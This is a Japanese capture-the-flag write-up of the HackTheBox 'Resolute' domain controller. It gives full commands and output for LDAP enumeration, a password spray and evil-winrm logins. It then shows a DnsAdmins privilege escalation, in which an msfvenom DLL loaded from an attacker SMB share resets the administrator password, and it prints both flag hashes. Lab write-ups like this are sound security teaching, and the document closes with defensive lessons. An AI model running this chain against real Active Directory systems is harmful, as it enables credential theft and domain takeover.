HackTheBox: Resolute — 全実行コマンド・実行結果レポート
Nmap スキャン
DC(53/88/389/445/3268/5985)
→
DC(53/88/389/445/3268/5985)
LDAP匿名バインド
description属性からパスワード漏洩
→
description属性からパスワード漏洩
全ユーザーへスプレー
melanie:Welcome123!
→
melanie:Welcome123!
WinRMログイン
user.txt ✓
→
user.txt ✓
隠しPSTranscriptログ発見
Hidden属性フォルダ
→
Hidden属性フォルダ
ryan:Serv3r4Admin4cc123!
構文誤りで平文キャプチャ
→
構文誤りで平文キャプチャ
DnsAdmins特権悪用
悪意あるDNSプラグインDLL
→
悪意あるDNSプラグインDLL
DNSサービス再起動
SYSTEM権限でDLLロード
→
SYSTEM権限でDLLロード
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmap ポートスキャン
BASH
nmap -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985 10.129.96.155
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local) 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 464/tcp open kpasswd5? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM) Service Info: Host: RESOLUTE; OS: Windows
ℹ️
ドメインコントローラ
RESOLUTE.megabank.local。megabank.localという
ドメイン名は他のHTBマシン(Monteverde等)でも例示的に使われることがあるため、
ホスト名が”RESOLUTE”であることを必ず確認してから攻撃を続行する。
PHASE 2
LDAP匿名バインドとdescription属性からのパスワード漏洩
LDAP匿名バインドでドメインユーザーを列挙
BASH
ldapsearch -x -H ldap://10.129.96.155 -b "DC=megabank,DC=local" \ "(&(objectClass=user)(objectCategory=person))" sAMAccountName
RESULT
sAMAccountName: ryan
sAMAccountName: marko
sAMAccountName: sunita
sAMAccountName: abigail
sAMAccountName: marcus
sAMAccountName: melanie
... (計23ユーザー)
description属性を横断的に取得
NOTE
ADの各ユーザーオブジェクトの description(説明)フィールドは、管理者向けの 自由記述メモ欄として運用されることが多く、アカウント発行時の初期パスワードなど 機微な情報がうっかり残されるケースが典型的な設定ミスパターンとして知られる。
BASH
ldapsearch -x -H ldap://10.129.96.155 -b "DC=megabank,DC=local" \ "(objectClass=user)" description
RESULT
# Marko Novak, Employees, MegaBank Users, megabank.local
dn: CN=Marko Novak,OU=Employees,OU=MegaBank Users,DC=megabank,DC=local
description: Account created. Password set to Welcome123!
🚨
初期パスワード漏洩: Welcome123!。このアカウント自体は既に
パスワード変更済みかもしれないが、「新規アカウント作成時の初期パスワードとして
この値を使い回している」という運用実態が明らかになった。他のユーザーも同じ
初期パスワードのまま放置されている可能性が高い。
アカウントロックアウトが無効なことを確認
BASH
ldapsearch -x -H ldap://10.129.96.155 -b "DC=megabank,DC=local" \ -s base lockoutThreshold
RESULT
lockoutThreshold: 0
ℹ️
ロックアウト閾値0 = 無効。安心して全ユーザーに対しこの1つのパスワード候補を
試すスプレー攻撃が実行できる。
PHASE 3
全ユーザーへのパスワードスプレー → user.txt
パスワードスプレー実行
BASH
netexec smb 10.129.96.155 -d megabank -u users.txt -p 'Welcome123!'
RESULT
SMB 10.129.96.155 445 RESOLUTE [+] megabank.local\melanie:Welcome123!
✅
認証情報取得: melanie : Welcome123!
WinRMログイン & user.txt 取得
BASH
evil-winrm -i 10.129.96.155 -u 'melanie' -p 'Welcome123!'
RESULT
*Evil-WinRM* PS C:\Users\melanie\Documents> type C:\Users\melanie\Desktop\user.txt
729570896b8c2ef9e8e8fa5ec7aca3ed
user.txt — melanie@RESOLUTE
729570896b8c2ef9e8e8fa5ec7aca3ed
PHASE 4
隠しPowerShell Transcriptionログの発見 → ryanの資格情報漏洩
C:\PSTranscripts\ を探索(隠し属性に注意)
BASH
*Evil-WinRM* PS> dir /s /b C:\PSTranscripts\*.txt
RESULT
(何も表示されない)
⚠️
ハマりどころ:
C:\PSTranscripts\ 配下の日付名フォルダ
(例: 20191203)は Hidden属性が付与されており、
CMDのdir /s /bやPowerShellのGet-ChildItemを
隠しファイル/フォルダを含めるオプションなしで実行すると
(デフォルト動作)一切列挙されず、あたかもディレクトリが空であるかのように
見えてしまう。CMDでは/aフラグ、PowerShellでは-Force
フラグを明示的に付与する必要がある。
BASH
*Evil-WinRM* PS> dir /s /b /a C:\PSTranscripts\*.txt
RESULT
C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
ℹ️
PowerShell Transcriptionは、実行された全コマンドとその出力をログファイルに
自動記録するAD環境の監査機能。管理者が意図せず実行したコマンドライン内の
平文パスワードまでそのまま記録されてしまう典型的な情報漏洩源になる。
ログファイルから漏洩した資格情報を発見
BASH
*Evil-WinRM* PS> type "C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt"
RESULT (該当箇所抜粋)
Username: MEGABANK\ryan
...
CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
...
cmd : The syntax of this command is:
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
🚨
認証情報取得: ryan : Serv3r4Admin4cc123!。
net use
コマンドの正しい構文は net use X: \\server\share /user:domain\user password
だが、このオペレーター(ryan)は/user:を付け忘れる構文誤りを犯し、
「コマンドの構文が正しくありません」というエラーになっている。しかし
エラーになった実行内容そのものがトランスクリプションログに平文のまま
記録されているため、構文ミスにもかかわらずユーザー名とパスワードが
丸ごと漏洩する結果となった。
PHASE 5
DnsAdmins特権の悪用 — 悪意あるDNSサーバープラグインDLL
ryanの所属グループを確認
BASH
evil-winrm -i 10.129.96.155 -u 'ryan' -p 'Serv3r4Admin4cc123!' *Evil-WinRM* PS> whoami /groups
RESULT
MEGABANK\DnsAdmins Alias S-1-5-...
🚨
重大発見:
ryan は DnsAdmins グループの
メンバー。このグループには、Windows DNSサーバーが読み込むプラグインDLLの
パスを設定する権限が与えられており、これは既知の権限昇格手法(DNSサーバーの
プラグインDLL機構の悪用)につながる。DNSサーバーサービスはSYSTEM権限で
動作するドメインコントローラの中核サービスであるため、悪意あるDLLをロード
させられればSYSTEM権限のコード実行が可能になる。
悪意あるDNSプラグインDLLを生成
BASH
msfvenom -p windows/x64/exec \ cmd='net user administrator P@s5w0rd123! /domain' \ -f dll -o da.dll
ℹ️
DLL内部で実行させるペイロードは、ドメイン管理者のパスワードを直接
リセットする
net user administrator <新パスワード> /domain
コマンド。逆シェルの代わりにこの一撃で完結する操作を選ぶことで、
DLLロードが1回しか安定して発火しない場合でも確実に管理者アクセスを得られる。
BASH
# DLLをSMB経由で配信できるようにする(impacket-smbserver等) impacket-smbserver share $(pwd) -smb2support
DNSサーバーのプラグインDLLパスを設定
BASH
*Evil-WinRM* PS> dnscmd localhost /config /serverlevelplugindll \\10.10.15.200\share\da.dll
RESULT
Registry property serverlevelplugindll successfully reset. Command completed successfully.
DNSサービスを再起動しDLLをロードさせる
BASH
*Evil-WinRM* PS> sc.exe stop dns *Evil-WinRM* PS> sc.exe start dns
✅
ryanはDnsAdminsグループのメンバーとして
sc.exe stop/start dnsで
DNSサービス自体を制御できる。サービス起動時、DNSサーバーは
serverlevelplugindllで設定されたDLLをSYSTEM権限でロードする
ため、そのタイミングでmsfvenomペイロードが実行され、
administratorのパスワードが P@s5w0rd123! にリセットされる。
PHASE 6
Administratorとしてログイン → root.txt
root.txt 取得
BASH
evil-winrm -i 10.129.96.155 -u 'administrator' -p 'P@s5w0rd123!' *Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
RESULT
dca44d9557cf1f02def8f24566ab267c
root.txt — Administrator@RESOLUTE
dca44d9557cf1f02def8f24566ab267c
ℹ️
DLLロードによるパスワードリセットが不安定な場合は、
impacket-psexec(DnsAdminsが引き続きサービス制御可能な状況で)
へのフォールバックも有効な代替手段。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — melanie@RESOLUTE
729570896b8c2ef9e8e8fa5ec7aca3ed
root.txt — Administrator@RESOLUTE
dca44d9557cf1f02def8f24566ab267c
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| LDAP description属性への初期パスワード記載 | Active Directory (:389) | ドメインユーザーの初期パスワード漏洩 | High | 認証なしでdescription属性を照会し”Welcome123!”を発見 |
| アカウントロックアウト無効 | パスワードポリシー | パスワードスプレー攻撃の実行容易化 | Critical | ロックアウトを気にせず全ユーザーへ初期パスワードを一斉試行しmelanieがヒット |
| PowerShell Transcriptionログへの平文資格情報混入 | C:\PSTranscripts\ (Hidden属性フォルダ) | 特権ユーザー(ryan)の資格情報漏洩 | High | net useコマンドの構文誤りがそのままログに記録され読み取り可能なユーザーに漏洩 |
| DnsAdminsグループの過剰な権限 | DNSサーバーのserverlevelplugindll機構 | SYSTEM権限でのコード実行 | Critical | 悪意あるDLLを設定しDNSサービス再起動時にSYSTEM権限でロードさせadministratorパスワードをリセット |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | ADドメインコントローラ(RESOLUTE, megabank.local)判明 |
| 2 | LDAP description漏洩 | ldapsearch匿名バインド | 初期パスワード “Welcome123!” |
| 3 | パスワードスプレー | netexec smb | user.txt 取得 (melanie:Welcome123!) |
| 4 | PSTranscript調査 | dir /a (隠し属性含む) + ログ読み取り | ryan:Serv3r4Admin4cc123! |
| 5 | DnsAdmins悪用 | msfvenom DLL + dnscmd + sc.exe | administratorパスワードリセット |
| 6 | 管理者ログイン | evil-winrm | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ADユーザーオブジェクトのdescription属性に初期パスワードを平文で記載する運用 | description属性を機密情報の記載場所として使わない。アカウント発行手順を見直し、初期パスワードは即座に強制変更させる運用にする。 |
| アカウントロックアウトポリシーが無効 | 合理的なロックアウト閾値を設定する。パスワードスプレー検知の仕組み(Azure AD Smart Lockout相当の機能等)を導入する。 |
| PowerShell Transcriptionログに実行コマンドライン(パスワード含む)がそのまま平文記録される | 特権操作では対話的なパスワード入力(Get-Credential等)を使いコマンドライン引数に平文パスワードを含めない。Transcriptionログ自体のアクセス権限を厳格化する。 |
| DnsAdminsグループが実質的にドメインコントローラ上でのSYSTEM権限コード実行と同等の権限を持つ | DnsAdminsグループのメンバーシップを必要最小限に絞る。既知の悪用手法であるため、可能であればDNSサーバーロールをドメインコントローラから分離する。 |

